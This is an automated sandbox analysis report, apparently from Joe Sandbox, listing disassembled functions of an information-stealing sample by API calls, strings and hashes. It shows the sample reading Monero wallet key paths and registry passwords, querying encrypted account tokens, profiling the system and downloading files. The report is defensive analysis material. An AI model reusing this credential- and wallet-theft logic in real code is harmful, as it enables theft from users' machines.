Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: e6c38f6217acd4434af730180954a5e3bba19dedb50ec0f82d76f3dc3124f69e
Instruction ID: d20b71f45d3f8c6e644f06d4f325bc202b3e3979b21d2504b36d6a3e1839907c
Opcode Fuzzy Hash: e6c38f6217acd4434af730180954a5e3bba19dedb50ec0f82d76f3dc3124f69e
Instruction Fuzzy Hash: 5C5114B1D5021D97CB15FB60ED92FED737CAB64300F404598B60AA20D1EE705B89CFA6

Function 009F75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 009F72D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 009F733A
Part of subcall function 009F72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 009F73B1
Part of subcall function 009F72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 009F740D
Part of subcall function 009F72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 009F7452
Part of subcall function 009F72D0: HeapFree.KERNEL32(00000000), ref: 009F7459

lstrcat.KERNEL32(358A9020,00A117FC), ref: 009F7606
lstrcat.KERNEL32(358A9020,00000000), ref: 009F7648
lstrcat.KERNEL32(358A9020, : ), ref: 009F765A
lstrcat.KERNEL32(358A9020,00000000), ref: 009F768F
lstrcat.KERNEL32(358A9020,00A11804), ref: 009F76A0
lstrcat.KERNEL32(358A9020,00000000), ref: 009F76D3
lstrcat.KERNEL32(358A9020,00A11808), ref: 009F76ED
task.LIBCPMTD ref: 009F76FB

Strings

: , xrefs: 009F764E

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 1efd93cca3b47340a328564bd7806286b38299c3fe17f2c1e038c4586ea1122b
Instruction ID: 44bbcd4e5bae548caf8e0962b4c9938f7506bc77482653c04e36f046def4b13f
Opcode Fuzzy Hash: 1efd93cca3b47340a328564bd7806286b38299c3fe17f2c1e038c4586ea1122b
Instruction Fuzzy Hash: 03315A71A1010DEBCB44EBE4DC86FFFB378BB84301B144518F202A72A0DA34A956CB52

Function 00A07500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00A07542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00A0757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A07603
RtlAllocateHeap.NTDLL(00000000), ref: 00A0760A
wsprintfA.USER32 ref: 00A07640

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Strings

:, xrefs: 00A0755C
\, xrefs: 00A07560
C, xrefs: 00A0754C

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 2b5dccd851e2b6f9e390d56027b261a14085cab5fd5f344a5a06662cb0b3ea19
Instruction ID: ff90fa4074a07bcb603f33b4fb13220cc59671467084ca4a2879d5956f3d2631
Opcode Fuzzy Hash: 2b5dccd851e2b6f9e390d56027b261a14085cab5fd5f344a5a06662cb0b3ea19
Instruction Fuzzy Hash: D54182B1D0424CABDB10DF94ED85BEEBBB8AF18704F104199F509A72C0D7796A44CFA5

Function 00A08100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,014DE220,00000000,?,00A10E2C,00000000,?,00000000), ref: 00A08130
RtlAllocateHeap.NTDLL(00000000), ref: 00A08137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00A08158
__aulldiv.LIBCMT ref: 00A08172
__aulldiv.LIBCMT ref: 00A08180
wsprintfA.USER32 ref: 00A081AC

Strings

@, xrefs: 00A0814D
%d MB, xrefs: 00A081A3

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: e3d64c0cd7d817123c4047a8f68a2181511d3d569e138a20efa71ae59b8df408
Instruction ID: 6ee3f818d85b1a942edfe52bcb01f5457158c38038cdaa44de79cd756f693fe7
Opcode Fuzzy Hash: e3d64c0cd7d817123c4047a8f68a2181511d3d569e138a20efa71ae59b8df408
Instruction Fuzzy Hash: E4211DB1E44218ABDB00DFD4DD49FAEB7B8FB44B50F104609F605BB2C0D77859018BA9

Function 009F60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A0A7E6

Part of subcall function 009F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 009F4839
Part of subcall function 009F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 009F4849

InternetOpenA.WININET(00A10DF7,00000001,00000000,00000000,00000000), ref: 009F610F
StrCmpCA.SHLWAPI(?,014DEB08), ref: 009F6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 009F618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 009F61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 009F61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 009F620A
CloseHandle.KERNEL32(?,?,00000400), ref: 009F6249
InternetCloseHandle.WININET(?), ref: 009F6253
InternetCloseHandle.WININET(00000000), ref: 009F6260

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: a427f5370f43590f9e2398b1fdce7d745c4d778b3e1b71ee5fa5698e78d9d746
Instruction ID: d0ba282b712500c7dc93eaa0f7b929db95388422da4ab4059cf10e07c95fcc99
Opcode Fuzzy Hash: a427f5370f43590f9e2398b1fdce7d745c4d778b3e1b71ee5fa5698e78d9d746
Instruction Fuzzy Hash: CF514BB1A1031CABDB20DFA0DD89BEE77B8EB44701F108498A605A71C1DB756A89CF95

Function 009F72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 009F733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 009F73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 009F740D
GetProcessHeap.KERNEL32(00000000,?), ref: 009F7452
HeapFree.KERNEL32(00000000), ref: 009F7459
task.LIBCPMTD ref: 009F7555

Strings

Password, xrefs: 009F7401

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 22e82b34ba8b912d3bb508be0318f01254d7fefb15f7cdb5bbacbcf138268a09
Instruction ID: 85688fa2a9f7fc4efbf003694ce718109eb31b4b95ad67b77ff79ad306960587
Opcode Fuzzy Hash: 22e82b34ba8b912d3bb508be0318f01254d7fefb15f7cdb5bbacbcf138268a09
Instruction Fuzzy Hash: C1612AB590416C9BDB24DB50DC55BEAB7B8BF48300F0081E9E689A6181DFB05BC9CFA1

Function 009FBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
Part of subcall function 00A0A9B0: lstrcpy.KERNEL32(00000000), ref: 00A0AA04
Part of subcall function 00A0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A0AA12

Part of subcall function 00A0A920: lstrcpy.KERNEL32(00000000,?), ref: 00A0A972
Part of subcall function 00A0A920: lstrcat.KERNEL32(00000000), ref: 00A0A982

Part of subcall function 00A0A8A0: lstrcpy.KERNEL32(?,00A10E17), ref: 00A0A905

Part of subcall function 00A0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A0A7E6

lstrlen.KERNEL32(00000000), ref: 009FBC9F

Part of subcall function 00A08E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00A08E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 009FBCCD
lstrlen.KERNEL32(00000000), ref: 009FBDA5
lstrlen.KERNEL32(00000000), ref: 009FBDB9

Strings

AccountTokens, xrefs: 009FBB49
SELECT service, encrypted_token FROM token_service, xrefs: 009FBBEB
AccountId, xrefs: 009FBCC4
AccountTokens, xrefs: 009FBABA

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 14f31c9f654a903e3a706792ab565159aec546c15a6accda39d516e21c21d263
Instruction ID: 7fef5ddd2e683dfddf54a5b71c1b3f8d6f5761675ffc1608f936aa098f92fe94
Opcode Fuzzy Hash: 14f31c9f654a903e3a706792ab565159aec546c15a6accda39d516e21c21d263
Instruction Fuzzy Hash: 64B10471A1020C9BDB04FBA0EE96FEE737CAF64300F404558F506A61D1EF346A49CBA2

Function 009F4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 009F4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 009F4FD1
InternetOpenA.WININET(00A10DDF,00000000,00000000,00000000,00000000), ref: 009F4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 009F5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 009F5041
InternetCloseHandle.WININET(?), ref: 009F50B9
InternetCloseHandle.WININET(?), ref: 009F50C6

